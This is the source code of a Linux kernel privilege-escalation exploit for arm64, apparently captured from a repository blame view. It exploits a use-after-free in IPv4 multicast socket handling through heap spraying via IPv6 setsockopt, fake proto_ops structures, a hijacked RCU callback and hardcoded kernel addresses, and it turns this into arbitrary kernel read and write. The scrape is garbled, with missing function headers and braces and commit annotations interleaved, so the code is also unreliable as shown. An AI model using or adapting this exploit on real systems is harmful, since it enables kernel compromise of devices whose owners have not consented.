Newer
Older
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#define HELLO_WORLD_SERVER_PORT 6666

Werner Sembach
committed
#define KERNEL_SOCK_IOCTL 0xffffffc00050f518;

Werner Sembach
committed
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/*(gdb) disassemble /s kernel_sock_ioctl
Dump of assembler code for function kernel_sock_ioctl:
./arch/arm64/include/asm/thread_info.h:
76 static inline struct thread_info *current_thread_info(void)
77 {
78 return (struct thread_info *)
0xffffffc00050f518 <+0>: stp x29, x30, [sp, #-32]!
0xffffffc00050f51c <+4>: mov x4, #0xffffffffffffffff // #-1
0xffffffc00050f520 <+8>: mov x3, sp
0xffffffc00050f524 <+12>: mov x29, sp
0xffffffc00050f528 <+16>: and x3, x3, #0xffffffffffffc000
0xffffffc00050f52c <+20>: str x19, [sp, #16]
0xffffffc00050f530 <+24>: ldr x19, [x3, #8]
0xffffffc00050f534 <+28>: str x4, [x3, #8]
net/socket.c:
3289 err = sock->ops->ioctl(sock, cmd, arg);
0xffffffc00050f538 <+32>: ldr x3, [x0, #40]
0xffffffc00050f53c <+36>: ldr x3, [x3, #72]
0xffffffc00050f540 <+40>: blr x3
./arch/arm64/include/asm/thread_info.h:
78 return (struct thread_info *)
0xffffffc00050f544 <+44>: mov x1, sp
0xffffffc00050f548 <+48>: and x1, x1, #0xffffffffffffc000
0xffffffc00050f54c <+52>: str x19, [x1, #8]
net/socket.c:
3292 return err;
0xffffffc00050f550 <+56>: ldr x19, [sp, #16]
0xffffffc00050f554 <+60>: ldp x29, x30, [sp], #32
0xffffffc00050f558 <+64>: ret
End of assembler dump.*/
volatile int server_init = 0;
volatile int server_finish = 0;
volatile int client_finish = 0;
volatile int set_fake_next_rcu_init = 0;
volatile int set_fake_next_rcu_finish = 0;
int sockfd[SPRAY_SIZE];
char *fake_next_rcu_memory;
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
};
struct ip_mc_socklist {
struct ip_mc_socklist *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode;
struct ip_sf_socklist *sflist;
struct callback_head rcu;
};

Werner Sembach
committed
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
typedef enum {
SS_FREE = 0,
SS_UNCONNECTED,
SS_CONNECTING,
SS_CONNECTED,
SS_DISCONNECTING
} socket_state;
struct socket {
socket_state state;
short type;
unsigned long flags;
struct socket_wq *wq;
struct file *file;
struct sock *sk;
struct proto_ops *ops;
};
struct proto_ops {
int family;
void *owner;
void *release;
void *bind;
void *connect;
void *socketpair;
void *accept;
void *getname;
void *poll;
int (*ioctl)(struct socket *, unsigned int, unsigned long);
void *compat_ioctl;
void *listen;
void *shutdown;
void *setsockopt;
void *getsockopt;
void *compat_setsockopt;
void *compat_getsockopt;
void *sendmsg;
void *recvmsg;
void *mmap;
void *sendpage;
void *splice_read;
void *set_peek_off;
};
volatile struct ip_mc_socklist *fake_next_rcu;
void bind_on_cpu(int cpuid) {
int i, now_cpuid = -1;
cpu_set_t get;
CPU_ZERO(&mask);
CPU_SET(cpuid, &mask);
while (cpuid != now_cpuid) {
sched_setaffinity(0, sizeof(mask), &mask);
now_cpuid = sched_getcpu();
}
// that is a little bit more space then needed to be on the safe side
// fake_next_rcu and fake_socket overlap by 16 bytes and the start
// offset is a max of 0xff and not 0x100
fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100);
fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff);

Werner Sembach
committed
struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu);
fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket));
fake_socket->ops->ioctl = (int (*)(struct socket *, unsigned int, long unsigned int))KERNEL_SOCK_IOCTL_RET;
set_fake_next_rcu_init = 1;
while(!server_finish) {

Werner Sembach
committed
fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL;
}
free(fake_next_rcu_memory);
set_fake_next_rcu_finish = 1;
return NULL;
};
int read_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1;
int pipes[2];
if (pipe(pipes)) {
perror("read_at_address_pipe pipe failed");
if (write(pipes[1], address, len) == -1) {
perror("read_at_address_pipe write failed");
}
if (read(pipes[0], buf, len) == -1) {
perror("read_at_address_pipe read failed");
close(pipes[1]);
close(pipes[0]);
return ret;
}
int write_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1;
int pipes[2];
if (pipe(pipes)) {
perror("write_at_address_pipe pipe failed");
if (write(pipes[1], buf, len) != len) {
perror("write_at_address_pipe write failed");
}
if (read(pipes[0], address, len) != len) {
perror("write_at_address_pipe read failed");
close(pipes[1]);
close(pipes[0]);
return ret;
}
void heap_spray_init() {
printf("[Spray] heap_spray_init start\n");
for (int i = 0; i < SPRAY_SIZE; ++i) {
sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0);
if (sockfd[i] < 0) {
perror("[Spray] Socket creation failed");
printf("[Spray] heap_spray_init end\n");
return;
}
void heap_spray_run() {
printf("[Spray] heap_spray_run start\n");
struct group_req group = {0};
struct sockaddr_in6 *psin = (struct sockaddr_in6 *) &group.gr_group;
psin->sin6_family = AF_INET6;
psin->sin6_port = 1234;
*(uint64_t *)psin->sin6_addr.s6_addr = (uint64_t)fake_next_rcu;
printf("[Spray] Fake ipv6 address: ");
for (int i = 0; i < 16; ++i) {
printf("%02x", psin->sin6_addr.s6_addr[i]);
}
printf("\n");
for (int i = 0; i < SPRAY_SIZE; ++i) {
if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group, sizeof(group))) {
printf("%d ", i);
perror("[Spray] setsockopt failed");
void heap_spray_finalize() {
printf("[Spray] heap_spray_finalize start\n");
for (int i = 0; i < SPRAY_SIZE; ++i) {
close(sockfd[i]);
printf("[Spray] heap_spray_finalize end\n");
return;
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *) &group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
int server_socket = socket(PF_INET, SOCK_STREAM, 0);
if (server_socket < 0) {
printf("[Server] Create Socket Failed!");
exit(EXIT_FAILURE);
}
if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) {
perror("[Server] Server Socket Join Group Failed!");
exit(EXIT_FAILURE);
}
if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) {
printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(EXIT_FAILURE);
}
if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) {
printf("[Server] Server Listen Failed!");
exit(EXIT_FAILURE);
}
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
server_init = 1;
int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length);
if (new_server_socket < 0) {
close(server_socket);
printf("[Server] Server Accept Failed!\n");
printf("[Server] Close new_server_socket\n");
printf("[Server] Close server_socket\n");
printf("Exploit complete, let's try arbitrary write.\n");
char tester[8] = {0};
while (read_at_address_pipe((void *)0xffffffc000a7a830, &tester, 8)) {
printf("AAA\n");
sleep(1);
}
printf("Turn UAF to arbitrary read/write succeeded.\n");
server_finish = 1;
return NULL;
}
void *client(void *arg) {
struct sockaddr_in client_addr;
bzero(&client_addr, sizeof(client_addr));
client_addr.sin_family = AF_INET;
client_addr.sin_addr.s_addr = htons(INADDR_ANY);
client_addr.sin_port = htons(0);
int client_socket = socket(AF_INET, SOCK_STREAM, 0);
if (client_socket < 0) {
printf("[Client] Create socket failed!\n");
if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) {
printf("[Client] Client bind port failed!\n");
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) {
printf("[Client] Server IP Address error\n");
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
socklen_t server_addr_length = sizeof(server_addr);
if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) {
printf("[Client] cannot connect to 127.0.0.1!\n");
printf("[Client] Close client_socket\n");
close(client_socket);
client_finish = 1;
return NULL;
}
int main(int argc, char *argv[]) {
pthread_t id_server, id_client, id_set_fake_next_rcu;
pthread_create(&id_set_fake_next_rcu, NULL, set_fake_next_rcu, NULL);
while (!set_fake_next_rcu_init) {
sleep(1);
}
pthread_create(&id_server, NULL, server, NULL);
while (!server_init) {
sleep(1);
}
while (!server_finish || !client_finish || !set_fake_next_rcu_finish) {
printf("Trying to exit, but kernel will most likely crash on freeing manipulated memory region.\n");
heap_spray_finalize();